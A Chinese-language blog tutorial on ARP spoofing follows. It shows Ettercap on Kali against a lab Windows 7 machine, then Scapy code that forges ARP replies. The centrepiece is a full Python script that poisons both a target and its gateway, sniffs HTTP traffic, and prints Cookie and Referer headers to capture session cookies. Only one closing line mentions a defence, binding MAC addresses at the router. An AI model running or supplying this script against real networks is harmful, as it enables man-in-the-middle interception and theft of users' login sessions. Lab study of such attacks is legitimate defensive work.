kali使用Ettercap进行arp欺骗

arp欺骗原理：明天补上

192.168.0.105加入target1,192.168.0.1网关加入target2

点击MITM中的ARP

windows7查看mac地址已经发生变化

可以用driftnet查看被攻击的win7访问网页的图片，最新版的kali未安装该软件，实际测试该软件应该只能查看一些加密不严格的网站

或者使用wireshark抓包嗅探

win7登录dvwa过程，可在kali抓包嗅探到

前提知识

from scapy.all import *respone, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.0.105"), timeout=2, verbose=0)
for s, r in respone:        #s是发送包，r是响应包print(r.show())          #查看相应包的内容print("-------------")print(r[ARP].hwsrc)        #查看arp包中的hwsrc内容srp发送数据包
verbose不显示错误信息
who-has请求包
is-at响应包输出：
###[ Ethernet ]### dst       = 00:0c:29:3b:f0:c7src       = 00:0c:29:8d:9a:68type      = ARP
###[ ARP ]### hwtype    = 0x1ptype     = IPv4hwlen     = 6plen      = 4op        = is-athwsrc     = 00:0c:29:8d:9a:68psrc      = 192.168.0.105hwdst     = 00:0c:29:3b:f0:c7pdst      = 192.168.0.106
###[ Padding ]### load      = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'None
-------------
00:0c:29:8d:9a:68

发送定制的ARP包

from scapy.all import *respone, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.0.105"), timeout=2, verbose=0)
for s, r in respone:target_mac = r[ARP].hwsrctarget = ARP()
print(target.show())
target.psrc = "192.168.1.1"      #伪造源地址
target.pdst = "192.168.0.105"    #目标地址
target.hwdst = target_mac      #目标mac地址
target.op = 2      #2是响应包
print(target.show())输出：
###[ ARP ]### hwtype    = 0x1ptype     = IPv4hwlen     = Noneplen      = Noneop        = who-hashwsrc     = 00:0c:29:3b:f0:c7psrc      = 192.168.0.106hwdst     = 00:00:00:00:00:00pdst      = 0.0.0.0None
###[ ARP ]### hwtype    = 0x1ptype     = IPv4hwlen     = Noneplen      = Noneop        = is-athwsrc     = 00:0c:29:3b:f0:c7psrc      = 192.168.1.1hwdst     = 00:0c:29:8d:9a:68pdst      = 192.168.0.105None

python编写arp欺骗脚本

1.从命令行获取目标ip地址
2.获取IP对应的MAC地址
3.定义MAC获取函数
4.启动ARP欺骗
5.定义ARP欺骗函数
6.嗅探数据包
7.定义COOKIE嗅探函数
8.恢复靶机ARP缓存
9，定义ARP缓存恢复函数不在缓存当中保存   store=0

from scapy.all import *
import time
import threadingdef main(target_ip, gateway_ip):conf.verb = 0#2.获取IP对应的MAC地址target_mac = get_mac(target_ip)gateway_mac = get_mac(gateway_ip)#4.启动ARP欺骗t = Thread(target=poison_target, args=(target_ip, target_mac, gateway_ip, gateway_mac ))t.setDaemon(True)t.start()#6.嗅探数据包sniff(filter="tcp port 80", prn=packet_callback, store=0)    #不在缓存当中保存store=0#8.恢复靶机ARP缓存restore_target(target_ip, target_mac, gateway_ip, gateway_mac )#9，定义ARP缓存恢复函数
def restore_target(target_ip, target_mac, gateway_ip, gateway_mac):print("[*]Restoring target....")#恢复靶机缓存send(ARP(op=2, psrc=gateway_ip, hwsrc=gateway_mac, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff"), count=5)#恢复网关缓存send(ARP(op=2, psrc=target_ip, hwsrc=target_mac, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff"),count=5)#7.定义COOKIE嗅探函数
def packet_callback(packet):if packet[TCP].payload:cookie_packet = bytes(packet[TCP].payload)if b"Cookie" in cookie_packet:for info in cookie_packet.split(b'\n'):if b"Referer" in info or b"GET /" in info:print(info)elif b"Cookie" in info:print(info, "\n")#5.定义ARP欺骗函数
def poison_target(target_ip, target_mac, gateway_ip, gateway_mac):#欺骗靶机target = ARP()target.op = 2target.psrc = gateway_iptarget.pdst = target_iptarget.hwdst = target_mac#欺骗网关gateway = ARP()gateway.op = 2gateway.psrc = target_ipgateway.pdst = gateway_ipgateway_hwdst = gateway_macprint("[*] Beginning the ARP poison...")while True:send(target)send(gateway)time.sleep(2)#3.定义MAC获取函数
def get_mac(ip):respone, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=2)for s, r in respone:return r[ARP].hwsrcif __name__ == "__main__":target_ip = input("enter a ip:")gateway_ip = input("enter gateway ip:")main(target_ip, gateway_ip)

可以在路由器网关绑定mac地址，防止ARP欺骗攻击

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python之arp欺骗

kali使用Ettercap进行arp欺骗

或者使用wireshark抓包嗅探

前提知识

python编写arp欺骗脚本

python之arp欺骗相关推荐

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